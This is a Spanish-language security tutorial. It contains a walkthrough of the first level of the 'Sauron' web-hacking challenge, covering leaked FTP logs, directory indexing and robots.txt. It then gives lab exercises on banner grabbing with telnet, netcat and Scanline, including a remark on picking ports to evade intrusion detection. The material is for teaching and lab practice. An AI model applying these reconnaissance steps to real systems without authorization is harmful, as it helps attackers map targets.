Para buscar un punto de intrusión, debemos recopilar lo que sabemos hasta el momento, ordenar las ideas y tomar una decisión, que vaya por delante, no tiene porqué ser la correcta. Dicho de otra forma, todo lo realizado hasta el momento nos lleva a suposiciones plausibles, pero nada nos garantiza que estemos en lo cierto. Vamos a ver lo que sabemos:

1. Existen 3 contenidos diferentes servidos por el servidor web
1. http://www.blindware.inc ( En adelante www )
2. http://intranet.blindware.inc ( En adelante intranet )
3. https://www.blindware.inc y https://intranet.blindware.inc ( En adelante https )
2. El contenido de https que podemos revisar con Wikto no parece contener nada.
3. Intranet nos pide autenticación para acceder.
4. En www conocemos que:
1. Tanto por la información pública existente, como por Wikto, existen sendos directorios de nombre data/ y data/stats/
2. Wikto nos revela la existencia del fichero WS_FTP.LOG

Antes de continuar debemos revisar el fichero WS_FTP.LOG:

2007.05.08 12:55 B C:\data\logs\index.php <– hawking /htdocs/data/stats/index.php
2007.05.08 12:55 B C:\data\logs\index.php <– hawking /htdocs/data/stats/blnd0.log
2007.05.08 12:55 B C:\data\logs\index.php <– hawking /htdocs/data/stats/blnd1.log
2007.05.08 12:55 B C:\data\logs\index.php <– hawking /htdocs/data/stats/blnd2.log
2007.05.08 12:55 B C:\data\logs\index.php <– hawking /htdocs/data/stats/blnd3.log

Con lo cual, parece que tenemos 2 opciones:

1. Atacar la autenticación de intranet
2. Intentar acceder en WWW a data/stats/ ( y a lo que parecen ser logs )

Aquí hay que decidir, en este caso, sobre intranet no sabemos absolutamente nada, mientras que sobre data/stats/ al menos sabemos que el día 8 de Mayo de 2007, contenía algún tipo de fichero de logs.

Evidentemente cada uno puede buscar lo que prefiera, y dónde prefiera, pero en este caso, los LOGS pueden resultar una información de vital interés pues pueden desvelarnos partes ocultas del aplicativo, y otras áreas de las que no tenemos conocimiento, así como usuarios con los que se accede a ellas ( si el acceso se hace autenticado mediante apache ) y otros muchos detalles.

Por el contrario, atacar directamente una autenticación de Apache, salvo que esté incorrectamente configurada, es algo bastante poco probable de llevar a buen fin, porque a priori, únicamente podremos atacar por fuerza bruta.

Con esto podemos concluir el primer nivel, habiendo visto las siguientes vulnerabilidades relativas a la “publicación de información sensible”:

• En los comentarios del fichero “load.js” se filtra información
• El fichero robots.txt mal facilita información relativa a áreas del aplicativo no públicas
• Existen el WS_FTP.LOG conteniendo información sensible
• El servidor Apache, está incorrectamente configurado, permite, mediante la opción INDEXES, la navegación por aquellos directorios que no contienen un fichero índice.

Así mismo tenemos un objetivo para iniciar nuestro ataque: el directorio data/stats/ terminando así el primer nivel de Sauron. Este primer nivel es igual para ambos niveles de complejidad.

Comenzamos con algunos laboratorios sencillos y simples que nos permitirán reconocer, identificar y analizar nuestra máquina objetivo y sus servicios disponibles.

Quiero aclarar antes de comenzar los laboratorios prácticos el por que de la utilización de la distribución BackTrack. La razón es sencilla, muchos de los laboratorios serán llevados a cabo utilizando diferentes herramientas que ya vienen configuradas y listas para ser utilizadas desde esta distribución, es por esto que la distro esta diseñada y enfocada a la seguridad de la información, obviamente el investigador que desee seguir los laboratorios en otra distribución diferente a BackTrack puede hacerlo, pues las herramientas utilizadas en los laboratorios estarán acompañadas de el enlace de descarga, más una breve instrucción de utilización.

Es necesario aclarar el concepto de Identificación de Banner (Banner Identification).

La identificación de Banner (Banner Identification), puede definirse como el procedimiento por el cual, mediante intentos de conexión o petición a puertos especificos obtengo la información (mensaje-bandera-publicidad), del servicio que gestiona determinado puerto.
ejemplo: mysql en el puerto 3306.

Una extensa lista de puertos y servicios puede verse en este enlace

Práctica 1 – Identificación de Banner.
Herramienta: Telnet
Prerequisitos: ninguno
Contramedidas: Desinstalar y/o deshabilitar servicios innecesarios que se ejecutan en la máquina (ejemplo: SSH, VPN, IPSEC), alteración de banner’s.
Descripción: La aplicación Telnet es usada normalmente para establecer conexiones al puerto 23 del host, pero además puede ser utilizada para obtener información especifica de los banner ofrecidos por los servicios ejecutados o activos en otros puertos mediante intentos de conexión a los mismos.
Un atacante puede usar esta información para establecer o lanzar ataques especificos según los resultados obtenidos.
Procedimiento: Desde la linea de comandos de Windows, o desde una Shell de BackTrack ejecutar los siguientes comandos.

telnet (dirección IP-nombre) # de puerto

Ejemplos desde shell BackTrack a puertos 21 y 25

En los ejemplos la aplicación Telnet establece una conexión con la máquina objetivo en los puertos 21 y 25 respectivamente (el puerto 21 es utilizado generalmente para ofrecer servicios de FTP y el puerto 25 para servicios de correo electrónico) .

En el puerto 21 arroja como banner la utilización del Servidor FTP Serv-U en su versión 2.5
En el puerto 25 arroja como banner la utilización del propio servicio de correo de Microsoft Corp.

Veamos ahora la identificación de Banner desde la linea de comandos de Windows XP.

Los resultados obtenidos son los mismos que desde la shell de BackTrack, un servidor FTP (Serv-U v 2.5 y un servidor Mail de Microsoft Corp.)

__________________________________________________________

Práctica 2 – Identificación de Banner
Herramienta: NETCAT Descargar Netcat Windows – Descargar Netcat Linux
Prerequisitos: Ninguno
Contramedidas: Desinstalar y/o deshabilitar servicios innecesarios que se ejecutan en la máquina (ejemplo: SSH, VPN, IPSEC), alteración de banner’s.
Descripción: La herramienta netcat (conocida como la navaja suiza de los protocolos TCP/IP) tiene muchos usos, y puede ser utilizada para obtener información especifica de los banner ofrecidos por los servicios instalados en los puertos de nuestro objetivo.
La herramienta netcat será una de la más utilizadas en las diferentes sesiones de los laboratorios.
Procedimiento: Desde la linea de comandos de Windows, o desde una Shell de BackTrack ejecutar los siguientes comandos.

nc <opciones> (dirección IP) (# puerto)

Ejemplos desde la línea de comandos de Windows XP

Los resutados obtenidos son iguales a los obtenidos desde la aplicación Telnet.
Puerto 21 con servidor FTP Serv-U v2.5
Puerto 25 con servidor mail Microsoft Corp.

Veamos ahora la identificación de banner desde la shell de linux BackTrack.

Los resultados obtenidos son identicos a los de las anteriores peticiones.

__________________________________________________________

Práctica 3 – Identificación de Banner
Herramienta: SCANLINE Descargar Scanline
Prerequisitos: Ninguno
Contramedidas: Desinstalar y/o deshabilitar servicios innecesarios que se ejecutan en la máquina (ejemplo: SSH, VPN, IPSEC), alteración de banner’s.
Descripción: Así mismo como la herramienta necat, SCANLINE tiene varios uso, entre ellos puede ser utilizada para obtener los banner ofrecidos por los servicios de la máquina objetivo.
Procedimiento: Descargar la herramienta y ejecutar los siguientes comandos. (Solo disponible para Windows).

sl <opciones> (dirección IP)

Veamos su utilización desde Windows XP dirigiendo su ataque a nuestra máquina objetivo.

Los resultados son contundentes, observamos como esta pequeña pero completisima herramienta arroja resultados más completos a los expuestos anteriormente.
Nos muestra un listado completo de los servicios activos en la máquina objetivo, además de algunas opciones de utilización, de las cuales destaco la posibilidad de seleccionar algunos puertos TCP especificos evitando de esta manera la alerta general de los sistemas de identificación de intrusos o de ataques. Un manual más completo de esta herramienta viene acompañando el archivo ejecutable descargado anteriormente.

Taller libre:
Otras herramientas y métodos de identificación de banner. (consultar y en lo posible agregar mediante comentarios las instrucciones y capturas de otros métodos de identificación de banner).

Próxima sesión: Identificación de Banner’s (Banderas) II